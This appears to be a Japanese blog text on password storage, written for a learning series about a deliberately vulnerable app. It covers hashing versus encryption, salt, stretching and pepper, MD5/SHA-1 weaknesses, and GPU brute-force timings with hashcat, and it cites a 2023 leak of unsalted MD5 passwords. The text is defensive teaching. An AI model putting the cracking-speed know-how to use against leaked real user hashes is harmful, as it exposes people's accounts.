CUDA(Compute Unified Device Architecture:クーダ)とは、NVIDIAが開発・提供している、GPU向けの汎用並列計算用プラットフォームです。もともとリアルタイムグラフィックス表示用途、特にゲームグラフィックス用途に特化したGPUを開発していたNVIDIAが、その高い処理性能をグラフィックス以外にも活用できるようにするために開発した技術がCUDAです。CUDA - Wikipedia
今回のように、1つのハッシュ変換はたやすいが大量にこなすような仕事には並列計算が有用です。

私のグラボ(GeForce GTX 1070 2016年発売 6.1GH/s)だと8文字(218,340G)に約10時間かかりましたが、最新のグラボ(RTX 4090)では 164.1GH/s の速度が出ており 218,340/164.1=1,331s=22分となります。
Hashcat v6.2.6 benchmark on the Nvidia RTX 4090 · GitHub

前回紹介した記事に一覧表が載っていますが、こちらもhashcatを使っておりRTX 4090は同じく22分と出ています。英字数字に加えて記号(^*%$!&@#)を混ぜた場合でも59分。
1万基のNVIDIA A100とChatGPTによる解読も試しており、その場合これを1秒で解いています。ただ費用面から実用的ではありません。「消費者がアクセスしやすい構成としては RTX 4090 × 12 くらいがベストだと思う」だそうです。
Are Your Passwords in the Green?
恐るべし、今どきの「パスワード破り」の手口:780th Lap - キーマンズネット

現実的なA100を12基採用したシステムでbcryptハッシュ化された同8文字のパスワードを解読した場合は、約12年かかる。もちろんその間の演算性能向上を考慮する必要はあるが、パスワードを変更すれば安全性は高まるとしている。
複雑な8文字のパスワードでも、MD5ハッシュだとGeForce RTX 4090で1時間以内に解読されてしまう - PC Watch

これらの実施はクラウドを使うにしてもローカルに置いたデータの解析です。パスワードのハッシュ値が漏洩しているということは、攻撃者は既にサイトに侵入済みということになります。
ネットのホームページのログインフォームに対してブルートフォースアタックをかける場合はこんな高速にはできません(アカウントロックもあります)。手元にあるハッシュの解析とWebのログイン試行ではそもそもが別の話になりますので混同しないようにしてください。

その他

今時ソルト無しMD5で保存されていることはないだろうと思われるかもしれませんが、昨年(2023年に)話題になった事件ではパスワードがソルト無しMD5で保存されていたため、流出後に一部が解析され平文パスワードの形でハッキングフォーラムに投稿されてしまいました。
https://doc.pictbland.net/
また『各種情報はデータベース上で暗号化されておりましたが、暗号の複合キーも同時に漏洩しており既に複合されていると考えられます』とのことです。

情報漏えいについてのご報告 | Notion
不正アクセスによるpictBLand、pictSQUAREの情報流出の可能性についてまとめてみた - piyolog
SNS「ピクブラ」ユーザー情報80万件流出、復号キーも 「全サーバとプログラム廃棄して再構築」へ - ITmedia NEWS

次回:やられアプリ BadTodo - 18 クローラへの耐性 - demandosigno

やられアプリ BadTodo - 17.3 パスワードハッシュ化の目的

前回:やられアプリ BadTodo - 17.2 補足 保存するパスワードのハッシュ化 - demandosigno

今回の内容は記事の最後にリンクを貼った徳丸さんの解説動画の内容などから自分なりにまとめたものです。(細かい点はわざと省いています。徳丸さんの動画はとても分かりやすいですのでぜひ全編視聴してみてください)
これらを踏まえた上で、次回のハッシュ値の解析に進みます。

データベースに保存されるデータは盗まれた際の保険として暗号化されます。

データベース暗号化の目的

  • 重要情報を保護したい
  • 情報が漏洩しても悪用されないようにデータを暗号化する

つまり情報漏洩に対する緩和策です。
(暗号化 AES:共通鍵, RSA:公開鍵。AES-256:Amazon RDS, S3, IAM など)

一方、前回 password_hash 関数を使ったように、パスワードハッシュ値で保存されることが多いです。(ハッシュ関数 MD5, SHA-1, Bcrypt など)

どうしてパスワードの保護は「暗号化」ではなく「ハッシュ」なのか

  • 暗号だということは復号できる
  • 復号には鍵が必要だが、その鍵の管理が難しい(サーバーに侵入されているような状況では鍵も盗まれる⇒一例
  • データをアプリケーションで使う場合にも鍵を使わなければ暗号化・複合ができないが、攻撃者には鍵を見せたくない(侵入した攻撃者はアプリケーションと同じ権限を持つため区別が難しい)
  • 利用者側からすればパスワードをサイト管理者にも知られたくない(管理者は鍵を使って平文に戻せる)
  • ハッシュだと鍵を使わないので鍵管理のわずらわしさがない

ハッシュで保存されたパスワードは本当に安全か

ハッシュの特徴:一般的に(暗号学的)ハッシュ値から平文を「復元する」ことはできない。
「password」のMD5ハッシュ:5f4dcc3b5aa765d61d8327deb882cf99

  • 任意の長さの入力を固定長の出力に変換する
  • 不可逆性(原像計算困難性)
  • 衝突困難性:同じハッシュ値となる二つの異なる元データを見つけにくい(同じハッシュ値となる元データが発見されると、ハッシュ値を用いても元のデータが改ざんされたものなのか判断できなくなる)

しかし、パスワードの場合は特別な事情がある。

  • 4桁数字の暗証番号をハッシュ値で保存⇒計1万通りしかないので総当たりで確認すればOK(8桁でも同じ。1千万通り)
  • 単純なハッシュ計算だと同じパスワード=同じハッシュ値となる。一つ解読されると複数バレる

これに対応するために、ソルト(Salt)の付加やストレッチング(Stretching)が行われる。
ソルト:ハッシュの元データ(パスワード)に追加する文字列。ユーザ毎にソルトを変えることで、パスワードが同じでも異なるハッシュ値が得られる。
ストレッチング:ハッシュの計算を繰り返すこと。1万回ストレッチすると「モンスターマシンで20分」が20万分(139日)になる計算。

ペッパー:パスワードに「固定の秘密文字=ペッパー」を追加してからハッシュを求める
パスワード漏洩=ハッシュ値とソルトも漏洩。ソルトとストレッチングは「弱いパスワード」までは保護できない(単純な文字列は辞書攻撃の方で破られるため)

パスワード$ペッパー$ソルト
ソルトはハッシュ値とともにDBに保存。ペッパー(シークレットソルトとも。固定)はDB以外の場所に保存する。これが漏洩しなければ……

MD5, SHA1の弱さ

幾つかのハッシュ関数は「衝突困難性」が破られている。
How to Break MD5 and Other Hash Functions(MD5 の衝突を効率的に発見する方法)
Finding Collisions in the Full SHA-1(同様に SHA-1 の衝突について)
比較的短い文字列で衝突させた例。72字。(解析ツールのHashClashを使用)

そのため、電子政府における調達のための「推奨候補暗号リスト」からも外れている。 https://www.cryptrec.go.jp/list/cryptrec-ls-0001-2022.pdf

総当たり

グラフィックボードが性能アップし、総当たりで解析する時間が短縮された。

パスワード(8文字・英大文字・小文字・数字)をSHA-1を総当たりで解析するとすると ⇒ (26+26+10)8=約220兆通り
1文字目 a の SHA1 = 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8
b = e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 引き続き...c......z まで
2文字目 aa...ab...az...ba...bb...bz...
と順番にすべて見ていき、元の文字列を知りたいハッシュ値と突き合わせて確認する。

同様に、パスワード(8文字・英大文字・小文字・数字)のMD5ハッシュ化 を解析する場合、
RTX 4090を使うと220兆通りが22分で解析される。
Are Your Passwords in the Green?

次回:やられアプリ BadTodo - 17.4 ハッシュの解析(hashcat を使う) - demandosigno
実際にハッシュの総当たり解析をします。

参考にした資料

www.youtube.com

www.youtube.com

www.youtube.com

xtech.nikkei.com

pc.watch.impress.co.jp

その他の資料

MD5は簡単に衝突させられる - Buri Memo:
MD5の安全性の限界に関する調査研究報告書(pdf)

後日試します
qiita.com

/* -----codeの行番号----- */